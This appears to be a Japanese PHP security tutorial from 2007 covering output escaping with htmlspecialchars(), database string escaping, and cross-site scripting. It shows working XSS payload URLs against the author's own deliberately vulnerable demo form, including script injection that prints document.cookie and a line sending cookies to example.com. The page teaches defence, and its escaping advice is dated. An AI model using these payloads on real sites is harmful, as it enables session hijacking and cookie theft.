セキュリティ上の配慮

PHP は利用者がフォームなどで与える情報をそのまま変数として使うことができるたいへん便利な言語です。 その反面,変数の内容をチェックせずに使うとセキュリティ上の問題が生じることがあります。

特殊文字の処理

PHP で作った掲示板に < > & " のような特殊文字を書き込まれると,文字化けしたり,<img ...> タグで変な画像を貼り付けられたりします。 それだけでなく,後述のクロスサイトスクリプティングの原因になります。

PHP には < > & " をそれぞれ &lt; &gt; &amp; &quot; に変換する関数 htmlspecialchars() が用意されています。 PHP で何かを出力する際には,それが人の目に触れる形で表示されるかどうかにかかわらず,出力の直前に htmlspecialchars() を必ず通すようにしましょう。 具体例は,例えば 簡単なフォーム のページをご覧ください。

データベースに文字列を登録する直前にも,必ず次の関数を通すようにします。

SQLitesqlite_escape_string()
PostgreSQLpg_escape_string()
MySQLmysql_real_escape_string()(MySQL に接続した後で使う)

データベースに登録するのが数値の場合は,$x に値を代入した後に settype($x, "int");settype($x, "float"); のようにして型を強制的に整数や浮動小数点数に変換するといいでしょう。 C言語と同様のキャスト $x = (int) $x;$x = (float) $x; も使えます。

クロスサイトスクリプティング

クロスサイトスクリプティング(cross-site scripting,XSS)の詳細については次のページをご覧ください。

簡単なフォーム を改悪した 簡単なフォーム(悪い見本) では,

http://oku.edu.mie-u.ac.jp/~okumura/php/form-bad.php?name=hoge

のように設定したリンクをたどると,「こんにちは,hoge さん」と勝手に名前が入れられてしまいます。

これを利用すると,ページの内容を大幅に書き足すことができてしまいます。 たとえば……

http://oku.edu.mie-u.ac.jp/~okumura/php/form-bad.php?name=%3Ciframe%20src=security.php%3E%3C/iframe%3E

さらに JavaScript と併用することもできます。

http://oku.edu.mie-u.ac.jp/~okumura/php/form-bad.php?name=%3Cscript%3Ealert('You%20are%200wned.');%3C/script%3E

次はクッキーを表示する例です。 例示のため foo=bar というクッキーをこのページでセットしました(ほかのクッキーもセットされているかもしれません)。

http://oku.edu.mie-u.ac.jp/~okumura/php/form-bad.php?name=%3Cscript%3Edocument.write(document.cookie);%3C/script%3E

これができるということは,例えば window.open('http://example.com/get.php?' + document.cookie) のようにして別のサイト example.com にクッキーを送ることもできるということです。

このようにして,信頼のおけるサイトにこのような脆弱性があると,信頼のおけるサイトを利用して悪意あるスクリプトを実行することができます。 このようなサイトをまたぐスクリプト実行が可能なことから,クロスサイトスクリプティング(XSS)と呼ばれるようになりました。 現在では,サイトをまたぐスクリプト実行に限らず,同種の原因による脆弱性をXSSと呼んでいます。

昔のPHPは GET と POST を区別しなかったので,POST でも簡単にXSSが生じてしまいました。 現在は,php.iniregister_globals = on と指定しない限り,この危険性は減りました。 しかし,POST でも工夫すればどんな入力でもできますので,GET と同様に注意が必要です。


奥村晴彦

Last modified: 2007-12-04 12:34:59